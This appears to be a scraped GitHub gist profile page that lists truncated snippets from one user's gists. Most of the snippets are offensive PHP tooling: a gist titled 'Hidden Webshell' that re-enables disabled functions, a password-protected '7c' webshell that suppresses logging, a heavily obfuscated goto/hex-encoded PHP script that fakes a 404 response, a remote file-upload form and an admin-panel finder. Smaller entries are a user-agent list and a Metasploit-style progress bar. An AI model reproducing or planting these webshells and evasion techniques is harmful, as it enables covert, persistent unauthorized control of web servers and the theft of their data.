Skip to content

Instantly share code, notes, and snippets.

View Cvar1984's full-sized avatar
⚠️
This account is under NSA investigation

Bellatrix Lugosi Cvar1984

⚠️
This account is under NSA investigation
View GitHub Profile
@Cvar1984
Cvar1984 / ini.php
Created March 23, 2018 18:02
Hidden Webshell
<?php
@session_start();
@ini_set('max_execution_time', 0);
@ini_set('memory_limit', '999999999M');
@set_time_limit(0);
@ini_restore("safe_mode_include_dir");
@ini_restore("safe_mode_exec_dir");
@ini_restore("disable_functions");
@ini_restore("allow_url_fopen");
@ini_restore("safe_mode");
@Cvar1984
Cvar1984 / useragentswitcher.xml
Created April 1, 2018 18:32
Massive list of user agents for User Agent Switcher by Chris Pederik http://forums.chrispederick.com/categories/user-agent-switcher
<useragentswitcher>
<folder description="Browsers - Windows">
<folder description="Legacy Browsers">
<useragent description="Arora 0.6.0 - (Vista)" useragent="Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.6 (Change: )" appcodename="" appname="" appversion="" platform="" vendor="" vendorsub=""/>
<useragent description="Avant Browser 1.2" useragent="Avant Browser/1.2.789rel1 (http://www.avantbrowser.com)" appcodename="" appname="" appversion="" platform="" vendor="" vendorsub=""/>
<useragent description="Chrome 4.0.249.0 (Win 7)" useragent="Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.0 Safari/532.5" appcodename="" appname="" appversion="" platform="" vendor="" vendorsub=""/>
<useragent description="Chrome 5.0.310.0 (Server 2003)" useragent="Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.310.0 Safari/532.9" appcodename="" appname=""
@Cvar1984
Cvar1984 / 7c.php
Created April 25, 2018 18:59
7c Webshell
<?php
$auth_pass="d448da3672ffd8eb081f4687a20ebe21"; // Default Pass : 7c
session_start();
error_reporting(0);
set_time_limit(0);
@clearstatcache();
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
<?php
function ambil($text,$sebelum,$sesudah) {
$text=" ".$text;
$ini=strpos($text, $sebelum);
if($ini == 0) return "";
$ini+=strlen($sebelum);
$panjang=strpos($text,$sesudah,$ini) - $ini;
return substr($text,$ini,$panjang);
}
$url="https://www.bukalapak.com/p/handphone/hp-smartphone/7fybvh-jual-sony-z5-e6683-3-32-gb-garansi-resmi-1-tahun";
#!/usr/bin/env php
<?php
@include(__DIR__ . '/vendor/autoload.php');
if(strtolower(substr(PHP_OS, 0, 3)) == 'win') {
$R = "";
$RR = "";
$G = "";
$GG = "";
$B = "";
$BB = "";
<?php
goto UOZ8G; NqewU: $TiiCL = explode("\12", $_POST["\154\151\163\164"]); goto tL2Q5; nO1LN: PcE6m: goto gBXvA; b2e0R: echo "\x4d\x65\x6d\x6d\x6f\x72\x79\x20\x55\x73\x61\x67\145\40\72\x20" . tn_Kp(memory_get_usage(true)); goto GrCy9; OgDxh: header("\110\124\x54\120\57\x31\56\60\40\x34\x30\x34\40\x4e\157\164\40\x46\x6f\165\156\144"); goto qwD_T; xmdBV: if (!function_exists("\x6d\x61\x69\154")) { goto mfcAk; mfcAk: echo "\74\x66\157\x6e\x74\x20\x63\157\x6c\157\162\x3d\47\162\145\144\47\x3e"; goto j0jE5; j0jE5: echo "\x5b\x2d\135\40\x66\x75\x6e\143\x74\151\x6f\x6e\40\x6d\x61\x69\154\40\x6e\157\164\x20\x65\170\x69\x73\164\163\x20\133\55\x5d\x3c\142\162\76"; goto xk8Zp; ENU0d: echo "\74\57\x66\x6f\x6e\x74\x3e"; goto PGlQd; xk8Zp: echo "\x5b\x2d\135\x20\106\141\151\154\x65\x64\40\x63\157\156\156\x65\x63\164\x20\x74\x6f\40\x6d\141\151\x6c\x73\x65\x72\166\145\x72\40\133\x2d\x5d"; goto ENU0d; PGlQd: die; goto OxVFs; OxVFs: } goto NOwnC; qwD_T: exit; goto q6jli; tL2Q5: foreach ($TiiCL as $JJkjA) { goto yce9u; lj2X3
<?php
$url=$_POST['url'];
$pf=$_POST['pf'];
$act=$_POST['action'];
if(isset($act)) {
echo "
<center>
<form method='post' target='_blank' action='$url' enctype='multipart/form-data'>
<input type='file' name='$pf'>
<input type='submit' value='Upload'>
<center>
<form method="POST">
<input type='text' name='url'/><br/>
<input type='submit' name='action'/>
</form>
</center>
<?php
isset($_POST['action']) OR die();
$list=explode("\n",file_get_contents('https://raw.githubusercontent.com/the-c0d3r/admin-finder/master/wordlist.txt'));
$count = count($list);
<?php
class Telegram {
public function __construct()
{
set_time_limit(0);
ignore_user_abort(0);
ini_set('max_execution_time', 0); //exec time
ini_set('memory_limit', '999999999M'); //memmory limit
date_default_timezone_set('Asia/Jakarta'); // timezone
if (!empty($_SERVER['HTTP_USER_AGENT'])) {
@Cvar1984
Cvar1984 / loading.php
Created September 11, 2018 09:27
Metasploit PHP Progress Bar
#!/usr/bin/env php
<?php
if(strtolower(substr(PHP_OS, 0, 3)) == 'win') { // windows < 10 does not support color on terminal :'(
$R = "";
$G = "";
$B = "";
$X = "";
} else {
$R = "\e[91m";
$G = "\e[92m";